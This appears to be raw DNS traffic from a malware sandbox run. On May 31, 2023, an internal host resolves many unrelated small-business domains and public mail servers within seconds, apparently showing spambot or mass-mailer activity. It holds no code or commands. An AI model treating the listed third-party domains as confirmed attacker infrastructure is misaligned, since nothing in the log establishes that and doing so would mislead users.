May 31, 2023 14:50:48.633390903 CEST	8.8.8.8	192.168.2.3	0xc841	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.142790079 CEST	8.8.8.8	192.168.2.3	0x349b	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.243830919 CEST	8.8.8.8	192.168.2.3	0x50e1	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.243830919 CEST	8.8.8.8	192.168.2.3	0x50e1	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.408185005 CEST	8.8.8.8	192.168.2.3	0xdfb5	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:49.408185005 CEST	8.8.8.8	192.168.2.3	0xdfb5	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.550683022 CEST	8.8.8.8	192.168.2.3	0x89ba	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.550683022 CEST	8.8.8.8	192.168.2.3	0x89ba	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.550683022 CEST	8.8.8.8	192.168.2.3	0x89ba	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.241432905 CEST	8.8.8.8	192.168.2.3	0xf1fb	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:50.241432905 CEST	8.8.8.8	192.168.2.3	0xf1fb	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.298741102 CEST	8.8.8.8	192.168.2.3	0x7b67	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.315536022 CEST	8.8.8.8	192.168.2.3	0x3b12	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:50.315536022 CEST	8.8.8.8	192.168.2.3	0x3b12	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.326387882 CEST	8.8.8.8	192.168.2.3	0xeb9a	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.819408894 CEST	8.8.8.8	192.168.2.3	0xe0d6	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.835504055 CEST	8.8.8.8	192.168.2.3	0x17c0	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:50.835504055 CEST	8.8.8.8	192.168.2.3	0x17c0	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:51.085517883 CEST	8.8.8.8	192.168.2.3	0x4a57	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:51.708405972 CEST	8.8.8.8	192.168.2.3	0xceb8	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:51.851037025 CEST	8.8.8.8	192.168.2.3	0x27a8	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.007756948 CEST	8.8.8.8	192.168.2.3	0xfb70	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.410028934 CEST	8.8.8.8	192.168.2.3	0x7b46	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.434724092 CEST	8.8.8.8	192.168.2.3	0x8087	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.434724092 CEST	8.8.8.8	192.168.2.3	0x8087	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.434724092 CEST	8.8.8.8	192.168.2.3	0x8087	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.739815950 CEST	8.8.8.8	192.168.2.3	0x68fe	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.191163063 CEST	8.8.8.8	192.168.2.3	0x2e8b	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:53.191163063 CEST	8.8.8.8	192.168.2.3	0x2e8b	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.474422932 CEST	8.8.8.8	192.168.2.3	0x32d8	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.491031885 CEST	8.8.8.8	192.168.2.3	0xe664	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.698410988 CEST	8.8.8.8	192.168.2.3	0xc946	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:54.268888950 CEST	8.8.8.8	192.168.2.3	0xbd28	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:54.342551947 CEST	8.8.8.8	192.168.2.3	0x1f64	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:55.225388050 CEST	8.8.8.8	192.168.2.3	0xf79b	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:55.861567020 CEST	8.8.8.8	192.168.2.3	0x4e85	No error (0)	www.railbook.net		103.224.212.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:55.997407913 CEST	8.8.8.8	192.168.2.3	0xc2	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:56.035406113 CEST	8.8.8.8	192.168.2.3	0xc2	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:57.856606007 CEST	8.8.8.8	192.168.2.3	0x50fb	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:59.226703882 CEST	8.8.8.8	192.168.2.3	0xa395	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:59.518865108 CEST	8.8.8.8	192.168.2.3	0xca24	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:59.518865108 CEST	8.8.8.8	192.168.2.3	0xca24	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:59.518865108 CEST	8.8.8.8	192.168.2.3	0xca24	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.197.121.219	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:59.518865108 CEST	8.8.8.8	192.168.2.3	0xca24	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.228.163.56	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:01.024590969 CEST	8.8.8.8	192.168.2.3	0x2f8f	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:01.024590969 CEST	8.8.8.8	192.168.2.3	0x2f8f	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:02.412328005 CEST	8.8.8.8	192.168.2.3	0xf735	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:02.471997976 CEST	8.8.8.8	192.168.2.3	0xde79	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.049791098 CEST	8.8.8.8	192.168.2.3	0xa387	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.363147020 CEST	8.8.8.8	192.168.2.3	0x9497	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:03.363147020 CEST	8.8.8.8	192.168.2.3	0x9497	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.526874065 CEST	8.8.8.8	192.168.2.3	0x99d	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.732988119 CEST	8.8.8.8	192.168.2.3	0x838c	No error (0)	www.tc17.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.732988119 CEST	8.8.8.8	192.168.2.3	0x838c	No error (0)	www.tc17.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:04.356182098 CEST	8.8.8.8	192.168.2.3	0x5330	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:06.549943924 CEST	8.8.8.8	192.168.2.3	0x7e7f	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:06.549943924 CEST	8.8.8.8	192.168.2.3	0x7e7f	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:06.895890951 CEST	8.8.8.8	192.168.2.3	0x7186	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:06.895890951 CEST	8.8.8.8	192.168.2.3	0x7186	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:07.039948940 CEST	8.8.8.8	192.168.2.3	0x298a	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:07.079783916 CEST	8.8.8.8	192.168.2.3	0x4fa3	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:08.701453924 CEST	8.8.8.8	192.168.2.3	0xbb4c	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:10.298213005 CEST	8.8.8.8	192.168.2.3	0xb145	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:11.348232031 CEST	8.8.8.8	192.168.2.3	0x1ee4	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:11.348232031 CEST	8.8.8.8	192.168.2.3	0x1ee4	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:11.689385891 CEST	8.8.8.8	192.168.2.3	0x4838	No error (0)	gmail-smtp-in.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:12.041692972 CEST	8.8.8.8	192.168.2.3	0x99a	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:12.041692972 CEST	8.8.8.8	192.168.2.3	0x99a	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:12.041692972 CEST	8.8.8.8	192.168.2.3	0x99a	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.228.163.56	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:12.041692972 CEST	8.8.8.8	192.168.2.3	0x99a	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.197.121.219	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:13.026524067 CEST	8.8.8.8	192.168.2.3	0xa3f2	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:13.026524067 CEST	8.8.8.8	192.168.2.3	0xa3f2	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:13.105493069 CEST	8.8.8.8	192.168.2.3	0x374b	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:13.203519106 CEST	8.8.8.8	192.168.2.3	0xe561	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.608781099 CEST	8.8.8.8	192.168.2.3	0xa84c	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.713398933 CEST	8.8.8.8	192.168.2.3	0xe99	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.816237926 CEST	8.8.8.8	192.168.2.3	0xe440	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:14.816237926 CEST	8.8.8.8	192.168.2.3	0xe440	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.830859900 CEST	8.8.8.8	192.168.2.3	0x542e	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:14.830859900 CEST	8.8.8.8	192.168.2.3	0x542e	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.546838999 CEST	8.8.8.8	192.168.2.3	0xd947	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:15.546838999 CEST	8.8.8.8	192.168.2.3	0xd947	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.589462042 CEST	8.8.8.8	192.168.2.3	0xe736	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.799252033 CEST	8.8.8.8	192.168.2.3	0xd577	No error (0)	www.tc17.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.799252033 CEST	8.8.8.8	192.168.2.3	0xd577	No error (0)	www.tc17.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.851111889 CEST	8.8.8.8	192.168.2.3	0x3420	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:17.380819082 CEST	8.8.8.8	192.168.2.3	0xb893	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:18.369662046 CEST	8.8.8.8	192.168.2.3	0x33d0	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:18.864690065 CEST	8.8.8.8	192.168.2.3	0xf6c3	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:18.864690065 CEST	8.8.8.8	192.168.2.3	0xf6c3	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:19.742120028 CEST	8.8.8.8	192.168.2.3	0x2098	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:19.742120028 CEST	8.8.8.8	192.168.2.3	0x2098	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.288585901 CEST	8.8.8.8	192.168.2.3	0x8589	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.590903044 CEST	8.8.8.8	192.168.2.3	0xdb1a	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.598807096 CEST	8.8.8.8	192.168.2.3	0xb89a	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:20.598807096 CEST	8.8.8.8	192.168.2.3	0xb89a	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.604013920 CEST	8.8.8.8	192.168.2.3	0x186a	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.646538019 CEST	8.8.8.8	192.168.2.3	0xf4af	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:22.307218075 CEST	8.8.8.8	192.168.2.3	0xfc68	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:23.407995939 CEST	8.8.8.8	192.168.2.3	0x4811	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.792104959 CEST	8.8.8.8	192.168.2.3	0x8e03	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.792104959 CEST	8.8.8.8	192.168.2.3	0x8e03	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.792104959 CEST	8.8.8.8	192.168.2.3	0x8e03	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.801403999 CEST	8.8.8.8	192.168.2.3	0xed74	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.819140911 CEST	8.8.8.8	192.168.2.3	0x8047	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.843909979 CEST	8.8.8.8	192.168.2.3	0xc664	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.843909979 CEST	8.8.8.8	192.168.2.3	0xc664	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.875818968 CEST	8.8.8.8	192.168.2.3	0x9b35	No error (0)	araax.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:24.875818968 CEST	8.8.8.8	192.168.2.3	0x9b35	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:24.875818968 CEST	8.8.8.8	192.168.2.3	0x9b35	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.875818968 CEST	8.8.8.8	192.168.2.3	0x9b35	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.959750891 CEST	8.8.8.8	192.168.2.3	0x1086	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:24.964375973 CEST	8.8.8.8	192.168.2.3	0x2c11	No error (0)	vfcindia.com		103.191.209.76	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.994366884 CEST	8.8.8.8	192.168.2.3	0xf057	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.019639969 CEST	8.8.8.8	192.168.2.3	0x450c	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:25.019639969 CEST	8.8.8.8	192.168.2.3	0x450c	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.038507938 CEST	8.8.8.8	192.168.2.3	0xf4b8	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.038507938 CEST	8.8.8.8	192.168.2.3	0xf4b8	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.038507938 CEST	8.8.8.8	192.168.2.3	0xf4b8	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.098249912 CEST	8.8.8.8	192.168.2.3	0x982	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.146569014 CEST	8.8.8.8	192.168.2.3	0x8386	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.146569014 CEST	8.8.8.8	192.168.2.3	0x8386	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.194446087 CEST	8.8.8.8	192.168.2.3	0x563e	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.205584049 CEST	8.8.8.8	192.168.2.3	0xfc5	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.205584049 CEST	8.8.8.8	192.168.2.3	0xfc5	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.207340956 CEST	8.8.8.8	192.168.2.3	0xfad3	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.207340956 CEST	8.8.8.8	192.168.2.3	0xfad3	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.219242096 CEST	8.8.8.8	192.168.2.3	0x328f	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.221054077 CEST	8.8.8.8	192.168.2.3	0x67d1	No error (0)	hes.pt		52.19.230.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.225366116 CEST	8.8.8.8	192.168.2.3	0xbef1	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.225366116 CEST	8.8.8.8	192.168.2.3	0xbef1	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.234137058 CEST	8.8.8.8	192.168.2.3	0x1b2b	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.245342970 CEST	8.8.8.8	192.168.2.3	0x9b45	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.261657953 CEST	8.8.8.8	192.168.2.3	0x8841	No error (0)	gmail-smtp-in.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.294342041 CEST	8.8.8.8	192.168.2.3	0x7e4f	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.305193901 CEST	8.8.8.8	192.168.2.3	0x4284	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.305193901 CEST	8.8.8.8	192.168.2.3	0x4284	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.306983948 CEST	8.8.8.8	192.168.2.3	0x6b5a	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.343451023 CEST	8.8.8.8	192.168.2.3	0x5478	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.343451023 CEST	8.8.8.8	192.168.2.3	0x5478	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.347227097 CEST	8.8.8.8	192.168.2.3	0x7307	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.354264021 CEST	8.8.8.8	192.168.2.3	0xe009	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.354264021 CEST	8.8.8.8	192.168.2.3	0xe009	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.362318039 CEST	8.8.8.8	192.168.2.3	0x9cbf	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.363605976 CEST	8.8.8.8	192.168.2.3	0x4305	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.363605976 CEST	8.8.8.8	192.168.2.3	0x4305	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.363605976 CEST	8.8.8.8	192.168.2.3	0x4305	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.363605976 CEST	8.8.8.8	192.168.2.3	0x4305	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.370242119 CEST	8.8.8.8	192.168.2.3	0x63d	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.385912895 CEST	8.8.8.8	192.168.2.3	0xede6	No error (0)	in1.smtp.messagingengine.com		103.168.172.217	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.385912895 CEST	8.8.8.8	192.168.2.3	0xede6	No error (0)	in1.smtp.messagingengine.com		103.168.172.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.385912895 CEST	8.8.8.8	192.168.2.3	0xede6	No error (0)	in1.smtp.messagingengine.com		103.168.172.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.385912895 CEST	8.8.8.8	192.168.2.3	0xede6	No error (0)	in1.smtp.messagingengine.com		103.168.172.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.385912895 CEST	8.8.8.8	192.168.2.3	0xede6	No error (0)	in1.smtp.messagingengine.com		103.168.172.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.385912895 CEST	8.8.8.8	192.168.2.3	0xede6	No error (0)	in1.smtp.messagingengine.com		103.168.172.219	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.412420034 CEST	8.8.8.8	192.168.2.3	0x7b17	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.444016933 CEST	8.8.8.8	192.168.2.3	0x118f	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.448124886 CEST	8.8.8.8	192.168.2.3	0xbc16	No error (0)	sinwal.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.448124886 CEST	8.8.8.8	192.168.2.3	0xbc16	No error (0)	sinwal.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.554622889 CEST	8.8.8.8	192.168.2.3	0x7263	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.576997995 CEST	8.8.8.8	192.168.2.3	0x6236	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.577641010 CEST	8.8.8.8	192.168.2.3	0x3851	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.628328085 CEST	8.8.8.8	192.168.2.3	0x3e6e	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.734463930 CEST	8.8.8.8	192.168.2.3	0xf0be	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.739192009 CEST	8.8.8.8	192.168.2.3	0x101f	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.754180908 CEST	8.8.8.8	192.168.2.3	0xd235	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.754939079 CEST	8.8.8.8	192.168.2.3	0x114a	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.844816923 CEST	8.8.8.8	192.168.2.3	0xf4f4	No error (0)	keio-web.com		219.94.128.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.848385096 CEST	8.8.8.8	192.168.2.3	0x1b4d	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.948227882 CEST	8.8.8.8	192.168.2.3	0x78e9	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.959732056 CEST	8.8.8.8	192.168.2.3	0xeddb	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.006083012 CEST	8.8.8.8	192.168.2.3	0x60f4	No error (0)	dspears.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:26.006083012 CEST	8.8.8.8	192.168.2.3	0x60f4	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
